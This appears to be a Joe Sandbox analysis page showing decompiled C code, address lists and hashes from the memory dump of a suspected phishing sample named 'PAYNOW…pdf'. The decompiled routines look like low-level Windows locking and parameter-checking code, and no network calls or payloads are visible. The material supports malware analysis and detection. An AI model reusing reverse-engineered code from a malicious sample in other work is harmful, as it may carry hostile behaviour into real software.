																								_t336 =  *(_t454 + 0xc);
																								L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																							}
																						}
																					}
																					_t404 = _v12;
																				}
																			}
																			asm("sbb eax, eax");
																			_t445 = 0;
																			_v28 = 0;
																		}
																		goto L14;
																	}
																	goto L105;
																} while (_t444 == 0);
																goto L112;
																L88:
																_t242 = E33483AF6(_v36, _t444);
																_t147 =  &(_t317[1]); // 0x33564804
																_t202 = _t147;
															} while (_t242 == 0);
															while(1) {
																_t418 =  *_t453;
																_t148 =  &(_t317[1]); // 0x33564804
																_t202 = _t148;
																if(_t418 == 0) {
																	goto L2;
																}
																_t149 =  &(_t317[1]); // 0x33564804
																_t202 = _t149;
																if((_t418 & 0x00000002) != 0) {
																	while(1) {
																		L2:
																		_t404 =  *_t202;
																		_v12 = _t404;
																		if(_t404 == 0) {
																			goto L31;
																		} else {
																			_v24 = _v24 & 0x00000000;
																			_t283 = _t404 + 0x10;
																			_v20 = _t283;
																			_t336 =  *_t317;
																			_t454 =  *( *_t317 + 0xc);
																			_v32 = _t454;
																			if( *_t283 >> 0x10 < 0) {
																				_t11 =  &(_t317[0x17]); // 0x0
																				_t448 =  *_t11 & 0x0000ffff;
																				_t336 = 1;
																				_v24 = 1;
																				if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																					_t336 = _t454;
																					if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																						_t336 = 1;
																						 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																						if(L33483C40() == 0) {
																							_t312 = 0x7ffe0380;
																						} else {
																							_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																						}
																						if( *_t312 != 0) {
																							_t336 = 1;
																							if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																								_t336 =  *(_t454 + 0xc);
																								L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																							}
																						}
																					}
																					_t404 = _v12;
																				}
																			}
																			asm("sbb eax, eax");
																			_t445 = 0;
																			_v28 = 0;
																		}
																		goto L14;
																	}
																}
																asm("lock cmpxchg [esi], ecx");
																if(_t418 != _t418) {
																	continue;
																}
																_t376 =  *_t444;
																_t462 = 0;
																_v24 = _t376;
																do {
																	_t248 = _t376 + ((( *(_t376 + 0x5e) & 0x0000ffff) + _t462 & 0x0000000f) + 2) * 4;
																	_t412 =  *_t248;
																	_v28 = _t248;
																	if(_t412 != 0) {
																		if((_t412[7] & 0x00000001) != 0) {
																			goto L99;
																		}
																		asm("lock cmpxchg [ebx], ecx");
																		_t317 = _v8;
																		if(_t412 == _t412) {
																			goto L101;
																		}
																		L98:
																		_t376 = _v24;
																		goto L99;
																	}
																	asm("lock cmpxchg [edx], ecx");
																	_t158 =  &(_t317[1]); // 0x33564804
																	_t202 = _t158;
																	if(0 == 0) {
																		goto L2;
																	}
																	goto L98;
																	L99:
																	_t462 = _t462 + 1;
																} while (_t462 < 0x10);
																goto L127;
															}
															goto L2;
														} while (_t222 == 0);
														goto L116;
													} else {
														L112:
														_t176 = _t444 + 0x1c; // 0x1c
														_t459 = _t176;
														_t408 = 0xfffffff9;
														_t219 =  *_t459;
														do {
															asm("lock cmpxchg [esi], ecx");
														} while ((_t219 & _t408) != 0);
														if(_t219 == 6) {
															L79:
															_t356 =  *( *_t444);
															 *_t444 =  *_t444 & 0x00000000;
															L128:
															_t201 = _t444 + 0x20; // 0x20
															_t409 = _t201;
															L129:
															E334820E0(_t356, _t409);
															goto L1;
														}
														L115:
														_t222 = E33483AF6(_t317, _t444);
														_t177 =  &(_t317[1]); // 0x33564804
														_t202 = _t177;
														if(_t222 == 0) {
															while(1) {
																L2:
																_t404 =  *_t202;
																_v12 = _t404;
																if(_t404 == 0) {
																	goto L31;
																} else {
																	_v24 = _v24 & 0x00000000;
																	_t283 = _t404 + 0x10;
																	_v20 = _t283;
																	_t336 =  *_t317;
																	_t454 =  *( *_t317 + 0xc);
																	_v32 = _t454;
																	if( *_t283 >> 0x10 < 0) {
																		_t11 =  &(_t317[0x17]); // 0x0
																		_t448 =  *_t11 & 0x0000ffff;
																		_t336 = 1;
																		_v24 = 1;
																		if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																			_t336 = _t454;
																			if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																				_t336 = 1;
																				 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																				if(L33483C40() == 0) {
																					_t312 = 0x7ffe0380;
																				} else {
																					_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																				}
																				if( *_t312 != 0) {
																					_t336 = 1;
																					if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																						_t336 =  *(_t454 + 0xc);
																						L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																					}
																				}
																			}
																			_t404 = _v12;
																		}
																	}
																	asm("sbb eax, eax");
																	_t445 = 0;
																	_v28 = 0;
																}
																goto L14;
															}
														} else {
															goto L116;
														}
														while(1) {
															L116:
															_t411 =  *_t459;
															_t178 =  &(_t317[1]); // 0x33564804
															_t202 = _t178;
															if(_t411 == 0) {
																goto L2;
															}
															_t179 =  &(_t317[1]); // 0x33564804
															_t202 = _t179;
															if((_t411 & 0x00000002) != 0) {
																while(1) {
																	L2:
																	_t404 =  *_t202;
																	_v12 = _t404;
																	if(_t404 == 0) {
																		goto L31;
																	} else {
																		_v24 = _v24 & 0x00000000;
																		_t283 = _t404 + 0x10;
																		_v20 = _t283;
																		_t336 =  *_t317;
																		_t454 =  *( *_t317 + 0xc);
																		_v32 = _t454;
																		if( *_t283 >> 0x10 < 0) {
																			_t11 =  &(_t317[0x17]); // 0x0
																			_t448 =  *_t11 & 0x0000ffff;
																			_t336 = 1;
																			_v24 = 1;
																			if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																				_t336 = _t454;
																				if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																					_t336 = 1;
																					 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																					if(L33483C40() == 0) {
																						_t312 = 0x7ffe0380;
																					} else {
																						_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																					}
																					if( *_t312 != 0) {
																						_t336 = 1;
																						if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																							_t336 =  *(_t454 + 0xc);
																							L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																						}
																					}
																				}
																				_t404 = _v12;
																			}
																		}
																		asm("sbb eax, eax");
																		_t445 = 0;
																		_v28 = 0;
																	}
																	goto L14;
																}
															}
															asm("lock cmpxchg [esi], ecx");
															if(_t411 != _t411) {
																continue;
															}
															_t360 =  *_t444;
															_t460 = 0;
															_v24 = _t360;
															do {
																_t228 = _t360 + ((( *(_t360 + 0x5e) & 0x0000ffff) + _t460 & 0x0000000f) + 2) * 4;
																_t412 =  *_t228;
																_v28 = _t228;
																if(_t412 != 0) {
																	if((_t412[7] & 0x00000001) != 0) {
																		goto L126;
																	}
																	asm("lock cmpxchg [ebx], ecx");
																	_t317 = _v8;
																	if(_t412 == _t412) {
																		L101:
																		_t449 = 0xfffffffd;
																		_t233 = _t412[7];
																		do {
																			asm("lock cmpxchg [esi], ecx");
																		} while ((_t233 & _t449) != 0);
																		goto L103;
																	}
																	L125:
																	_t360 = _v24;
																	goto L126;
																}
																asm("lock cmpxchg [edx], ecx");
																_t188 =  &(_t317[1]); // 0x33564804
																_t202 = _t188;
																if(0 == 0) {
																	while(1) {
																		L2:
																		_t404 =  *_t202;
																		_v12 = _t404;
																		if(_t404 == 0) {
																			goto L31;
																		} else {
																			_v24 = _v24 & 0x00000000;
																			_t283 = _t404 + 0x10;
																			_v20 = _t283;
																			_t336 =  *_t317;
																			_t454 =  *( *_t317 + 0xc);
																			_v32 = _t454;
																			if( *_t283 >> 0x10 < 0) {
																				_t11 =  &(_t317[0x17]); // 0x0
																				_t448 =  *_t11 & 0x0000ffff;
																				_t336 = 1;
																				_v24 = 1;
																				if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																					_t336 = _t454;
																					if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																						_t336 = 1;
																						 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																						if(L33483C40() == 0) {
																							_t312 = 0x7ffe0380;
																						} else {
																							_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																						}
																						if( *_t312 != 0) {
																							_t336 = 1;
																							if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																								_t336 =  *(_t454 + 0xc);
																								L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																							}
																						}
																					}
																					_t404 = _v12;
																				}
																			}
																			asm("sbb eax, eax");
																			_t445 = 0;
																			_v28 = 0;
																		}
																		goto L14;
																	}
																}
																goto L125;
																L126:
																_t460 = _t460 + 1;
															} while (_t460 < 0x10);
															L127:
															_t356 =  *((intOrPtr*)( *((intOrPtr*)( *( *_t444) + 0xc)) + 0x3c0 + ( *( *_t444 + 0x5c) & 0x0000ffff) * 4)) + 0x48;
															goto L128;
														}
														while(1) {
															L2:
															_t404 =  *_t202;
															_v12 = _t404;
															if(_t404 == 0) {
																goto L31;
															} else {
																_v24 = _v24 & 0x00000000;
																_t283 = _t404 + 0x10;
																_v20 = _t283;
																_t336 =  *_t317;
																_t454 =  *( *_t317 + 0xc);
																_v32 = _t454;
																if( *_t283 >> 0x10 < 0) {
																	_t11 =  &(_t317[0x17]); // 0x0
																	_t448 =  *_t11 & 0x0000ffff;
																	_t336 = 1;
																	_v24 = 1;
																	if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																		_t336 = _t454;
																		if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																			_t336 = 1;
																			 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																			if(L33483C40() == 0) {
																				_t312 = 0x7ffe0380;
																			} else {
																				_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																			}
																			if( *_t312 != 0) {
																				_t336 = 1;
																				if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																					_t336 =  *(_t454 + 0xc);
																					L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																				}
																			}
																		}
																		_t404 = _v12;
																	}
																}
																asm("sbb eax, eax");
																_t445 = 0;
																_v28 = 0;
															}
															goto L14;
														}
													}
												}
												_t416 = 0xfffffff9;
												_t241 =  *_t453;
												do {
													asm("lock cmpxchg [esi], ecx");
												} while ((_t241 & _t416) != 0);
												if(_t241 != 6) {
													goto L88;
												}
												goto L79;
											}
											L2:
											_t404 =  *_t202;
											_v12 = _t404;
											if(_t404 == 0) {
												goto L31;
											} else {
												_v24 = _v24 & 0x00000000;
												_t283 = _t404 + 0x10;
												_v20 = _t283;
												_t336 =  *_t317;
												_t454 =  *( *_t317 + 0xc);
												_v32 = _t454;
												if( *_t283 >> 0x10 < 0) {
													_t11 =  &(_t317[0x17]); // 0x0
													_t448 =  *_t11 & 0x0000ffff;
													_t336 = 1;
													_v24 = 1;
													if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
														_t336 = _t454;
														if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
															_t336 = 1;
															 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
															if(L33483C40() == 0) {
																_t312 = 0x7ffe0380;
															} else {
																_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
															}
															if( *_t312 != 0) {
																_t336 = 1;
																if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																	_t336 =  *(_t454 + 0xc);
																	L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																}
															}
														}
														_t404 = _v12;
													}
												}
												asm("sbb eax, eax");
												_t445 = 0;
												_v28 = 0;
											}
										}
										_t107 = _t444 + 0x1c; // 0x1c
										_t326 = 0xfffffffd;
										_t263 =  *_t107;
										do {
											asm("lock cmpxchg [edx], ecx");
										} while ((_t263 & _t326) != 0);
										if(_t263 != 2) {
											goto L70;
										}
										_t108 = _t444 + 0x20; // 0x20
										 *_t444 =  *_t444 & 0x00000000;
										E334820E0( *( *_t444), _t108);
										_t204 = _v16;
										_t444 = 0;
										L33:
										_t318 = 0;
										_v20 = 0x10;
										_v24 = _v24 & 0;
										_t331 = _t204;
										_v12 = _t331;
										goto L34;
									}
									_t85 = _t451 + 0x5c; // 0x0
									_t269 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t85 & 0x0000ffff) * 4)) + 0x48;
									_v12 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t85 & 0x0000ffff) * 4)) + 0x48;
									while(1) {
										_t463 = L3349FE50(_t269);
										_v20 = _t463;
										if(_t463 == 0) {
											break;
										}
										_t463 = _t463 - 0x20;
										_t91 =  &(_t463[7]); // -4
										_t430 = _t91;
										if((1 &  *_t430) != 0) {
											if(E334B2670(_t463, _v8) == 0) {
												E334820E0(_v12, _v20);
												_t463 = 0;
											}
											break;
										}
										_t450 = 0xfffffffd;
										_t278 =  *_t430;
										do {
											asm("lock cmpxchg [edx], ecx");
										} while ((_t278 & _t450) != 0);
										_t444 = _v24;
										_t269 = _v12;
										if(_t278 == 2) {
											 *_t463 =  *_t463 & 0x00000000;
											E334820E0( *( *_t463), _v20);
											_t269 = _v12;
										}
									}
									asm("lock cmpxchg [ebx], edx");
									if(_t444 == _t444) {
										if(_t463 == 0) {
											_v8[0x17] = _t318 - _v8 - 0x00000008 >> 0x00000002 & 0x000000ff;
										}
										goto L55;
									}
									_t204 = _v16;
									if(_t463 != 0) {
										_t103 =  &(_t463[8]); // 0x20
										E334820E0(_v12, _t103);
										_t204 = _v16;
									}
								}
							}
						}
						L103:
						_t166 =  &(_t317[1]); // 0x33564804
						_t202 = _t166;
					} while (_t233 != 2);
					_t356 =  *( *_t412);
					 *_t412 =  *_t412 & 0x00000000;
					_t409 =  &(_t412[8]);
					goto L129;
				}
			}

0x33531256
0x33531258
0x3353125c
0x3353125f
0x3353125f
0x3353125f
0x3353125f
0x3353125f
0x33531262
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x33531325
0x33531325
0x33531325
0x33531332
0x00000000
0x00000000
0x33531337
0x33531405
0x33531405
0x33531407
0x3353140b
0x3353140d
0x33531415
0x3353141b
0x33531429
0x33531429
0x3353141b
0x3353142f
0x335318d5
0x335318d9
0x00000000
0x00000000
0x00000000
0x3353142f
0x33531342
0x3353134a
0x3353134e
0x33531353
0x3353135e
0x33531361
0x00000000
0x00000000
0x33531367
0x3353136a
0x3353136f
0x33531403
0x00000000
0x33531382
0x33531382
0x33531386
0x335313ae
0x335313b7
0x335313c1
0x335313de
0x335313e4
0x335313ea
0x335313eb
0x335313ec
0x335313ed
0x335313f3
0x335313f7
0x335313fc
0x335313fc
0x00000000
0x335313e4
0x3353136f
0x33531355
0x33531355
0x33531356
0x3353135b
0x00000000
0x33531435
0x33531437
0x3353143a
0x3353143a
0x3353143d
0x33531440
0x33531440
0x33531442
0x33531442
0x33531442
0x33531444
0x3353144b
0x3353144e
0x33531450
0x33531453
0x33531453
0x33531453
0x33531455
0x33531458
0x3353145d
0x33531463
0x33531466
0x3353146c
0x33531470
0x33531475
0x3353147a
0x3353147f
0x33531481
0x33531484
0x33531484
0x3353147a
0x3353146c
0x33531487
0x3353148a
0x3353148a
0x3353148e
0x3353148e
0x33531493
0x33531498
0x3353155f
0x33531561
0x33531563
0x33531597
0x3353159a
0x3353159c
0x335315af
0x335315b2
0x335315b5
0x335315b8
0x335315bb
0x335315c2
0x335315c4
0x335315c9
0x00000000
0x00000000
0x335315cb
0x335315cb
0x335315d0
0x335315d0
0x335315d8
0x335316b5
0x335316b6
0x335316b8
0x335316bc
0x335316bc
0x335316c2
0x335316c8
0x335316d8
0x335316d8
0x335316db
0x00000000
0x335316db
0x335316ca
0x335316d0
0x335316d3
0x00000000
0x335316d3
0x335315ea
0x3353169f
0x335316a4
0x335316a6
0x335316a6
0x335316aa
0x335316ac
0x335316ae
0x00000000
0x335316ae
0x335315f2
0x335315f5
0x335315f6
0x335315f8
0x335315fc
0x335315fc
0x33531602
0x33531608
0x00000000
0x00000000
0x3353161a
0x00000000
0x00000000
0x00000000
0x3353161a
0x33531620
0x33531625
0x33531631
0x33531631
0x33531636
0x33531638
0x335318d1
0x00000000
0x335318d1
0x33531641
0x33531641
0x33531644
0x33531647
0x33531647
0x3353164a
0x3353164c
0x3353164c
0x33531651
0x00000000
0x00000000
0x33531657
0x33531657
0x3353165d
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x00000000
0x33531269
0x33531262
0x3353166a
0x33531670
0x00000000
0x00000000
0x33531672
0x33531674
0x33531679
0x335317aa
0x335317b1
0x335317c3
0x335317b3
0x335317bc
0x335317bc
0x335317cb
0x335317e9
0x335317e9
0x335317ee
0x335317ee
0x335317f1
0x335317f1
0x335317f1
0x335317f5
0x00000000
0x33531262
0x33531262
0x33531262
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x00000000
0x33531269
0x00000000
0x33531262
0x00000000
0x335316e2
0x335316e7
0x335316ee
0x335316ee
0x335316ee
0x335316f7
0x335316f7
0x335316f9
0x335316f9
0x335316fe
0x00000000
0x00000000
0x33531704
0x33531704
0x3353170a
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x00000000
0x33531269
0x33531262
0x33531717
0x3353171d
0x00000000
0x00000000
0x3353171f
0x33531721
0x33531723
0x33531726
0x33531732
0x33531735
0x33531737
0x3353173c
0x3353175b
0x00000000
0x00000000
0x33531764
0x33531768
0x3353176d
0x00000000
0x00000000
0x3353176f
0x3353176f
0x00000000
0x3353176f
0x33531745
0x3353174b
0x3353174b
0x3353174e
0x00000000
0x00000000
0x00000000
0x33531772
0x33531772
0x33531773
0x00000000
0x33531778
0x00000000
0x335316f7
0x00000000
0x335317fb
0x335317fb
0x335317fd
0x335317fd
0x33531800
0x33531801
0x33531803
0x33531807
0x33531807
0x33531810
0x33531693
0x33531695
0x33531697
0x335318c4
0x335318c4
0x335318c4
0x335318c7
0x335318c7
0x00000000
0x335318c7
0x33531816
0x3353181a
0x33531821
0x33531821
0x33531824
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x00000000
0x33531269
0x00000000
0x00000000
0x00000000
0x3353182a
0x3353182a
0x3353182a
0x3353182c
0x3353182c
0x33531831
0x00000000
0x00000000
0x33531837
0x33531837
0x3353183d
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x00000000
0x33531269
0x33531262
0x3353184a
0x33531850
0x00000000
0x00000000
0x33531852
0x33531854
0x33531856
0x33531859
0x33531865
0x33531868
0x3353186a
0x3353186f
0x3353188e
0x00000000
0x00000000
0x33531897
0x3353189b
0x335318a0
0x3353177d
0x33531782
0x33531783
0x33531785
0x33531789
0x33531789
0x00000000
0x33531785
0x335318a6
0x335318a6
0x00000000
0x335318a6
0x33531878
0x3353187e
0x3353187e
0x33531881
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x00000000
0x33531269
0x33531262
0x00000000
0x335318a9
0x335318a9
0x335318aa
0x335318af
0x335318c1
0x00000000
0x335318c1
0x33531262
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x00000000
0x33531269
0x33531262
0x335317f5
0x33531681
0x33531682
0x33531684
0x33531688
0x33531688
0x33531691
0x00000000
0x00000000
0x00000000
0x33531691
0x33531262
0x33531262
0x33531264
0x33531269
0x00000000
0x3353126f
0x3353126f
0x33531273
0x33531276
0x3353127b
0x33531280
0x33531283
0x33531289
0x3353128f
0x3353128f
0x33531295
0x33531296
0x335312a2
0x335312ac
0x335312b5
0x335312c0
0x335312c3
0x335312d1
0x335312e3
0x335312d3
0x335312dc
0x335312dc
0x335312eb
0x335312f5
0x335312fc
0x33531306
0x33531309
0x33531309
0x335312fc
0x335312eb
0x3353130e
0x3353130e
0x335312a2
0x3353131b
0x33531320
0x33531322
0x33531322
0x33531269
0x33531567
0x3353156a
0x3353156b
0x3353156d
0x33531571
0x33531571
0x3353157a
0x00000000
0x00000000
0x33531582
0x33531587
0x3353158a
0x3353158f
0x33531440
0x33531442
0x33531442
0x33531444
0x3353144b
0x3353144e
0x33531450
0x00000000
0x33531450
0x335314a4
0x335314af
0x335314b2
0x335314b5
0x335314bc
0x335314be
0x335314c3
0x00000000
0x00000000
0x335314c5
0x335314cb
0x335314cb
0x335314d2
0x3353150e
0x33531516
0x3353151b
0x3353151b
0x00000000
0x3353150e
0x335314d6
0x335314d7
0x335314d9
0x335314dd
0x335314dd
0x335314e3
0x335314e9
0x335314ec
0x335314f5
0x335314f8
0x335314fd
0x335314fd
0x335314ec
0x33531521
0x33531527
0x33531549
0x33531559
0x33531559
0x00000000
0x33531549
0x33531529
0x3353152e
0x33531537
0x3353153a
0x3353153f
0x3353153f
0x3353152e
0x33531442
0x33531440
0x3353178f
0x33531792
0x33531792
0x33531792
0x3353179d
0x3353179f
0x335317a2
0x00000000
0x335317a2

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24a55dcbac071625d2b88d3c85c3da4763b61048d6e23a9a53de38c3ac07d13
Instruction ID: 7a4e95605eccf1ed5cf8634488fa1ea5707a1dc0a4c2aef6ef6a5cf65eb57e7e
Opcode Fuzzy Hash: b24a55dcbac071625d2b88d3c85c3da4763b61048d6e23a9a53de38c3ac07d13
Instruction Fuzzy Hash: 6022C474A012168FDB09DF69D480BAAB3F5FF8A364F18456DD851DB344DB34EA42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 33468347 Relevance: .4, Instructions: 380
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E33468347(intOrPtr* __ecx, signed short* __edx, signed short* _a4, signed short* _a8, signed short* _a12, intOrPtr _a16, signed short* _a20, signed short* _a24, signed short* _a28, intOrPtr* _a32, signed short* _a36, signed char _a40) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed short* _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _t125;
				signed int _t126;
				signed int _t128;
				signed int _t129;
				signed int _t131;
				signed int _t132;
				void* _t133;
				intOrPtr* _t134;
				intOrPtr _t156;
				void* _t162;
				intOrPtr _t199;
				signed short* _t210;
				signed int _t212;
				void* _t214;
				signed short* _t219;
				void* _t231;
				signed int _t242;
				intOrPtr* _t259;
				signed short* _t266;
				short _t272;
				signed int _t275;
				void* _t276;
				signed short* _t277;
				intOrPtr _t282;
				intOrPtr* _t283;
				signed short* _t284;
				signed short* _t285;
				intOrPtr* _t286;

				_v24 = __edx;
				_v36 = __ecx;
				if((_a40 & 0xfffffffe) != 0) {
					L82:
					return 0xc000000d;
				}
				_v20 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				if(E334687BF(__edx) < 0) {
					goto L82;
				}
				_t285 = _a4;
				if(_t285 != 0) {
					_t125 = E334687BF(_t285);
				} else {
					_t125 = 0;
				}
				if(_t125 < 0) {
					goto L82;
				} else {
					_t219 = _a8;
					_v5 = 0;
					_v32 = 0;
					_t276 = 0x5c;
					if(_t219 == 0) {
						L11:
						_t277 = _a12;
						if(_t277 == 0) {
							_t126 = 0;
						} else {
							_t126 = E334687BF(_t277);
						}
						if(_t126 < 0) {
							goto L82;
						} else {
							_t127 = _a20;
							if(_a20 == 0) {
								_t128 = 0;
							} else {
								_t128 = E334687BF(_t127);
							}
							if(_t128 < 0) {
								goto L82;
							} else {
								_t220 = _a24;
								if(_a24 == 0) {
									_t129 = 0;
								} else {
									_t129 = E334687BF(_t220);
								}
								if(_t129 < 0) {
									goto L82;
								} else {
									_t130 = _a28;
									if(_a28 != 0) {
										_t131 = E334687BF(_t130);
									} else {
										_t131 = 0;
									}
									if(_t131 < 0) {
										goto L82;
									} else {
										_t259 = _a32;
										if(_t259 != 0) {
											_t132 = E334687BF(_t259);
										} else {
											_t132 = 0;
										}
										if(_t132 < 0) {
											goto L82;
										} else {
											_t210 = _a36;
											if(_t210 != 0) {
												_t133 = E334687BF(_t210);
											} else {
												_t133 = 0;
											}
											if(_t133 < 0) {
												goto L82;
											} else {
												if(_t277 == 0) {
													_t277 = _v24;
													_a12 = _t277;
												}
												if(_a20 == 0) {
													_a20 = 0x33441010;
												}
												_t134 = _a24;
												if(_t134 == 0) {
													_t134 = 0x33441010;
													_a24 = 0x33441010;
												}
												if(_a28 == 0) {
													_a28 = 0x33441010;
												}
												if(_t259 == 0) {
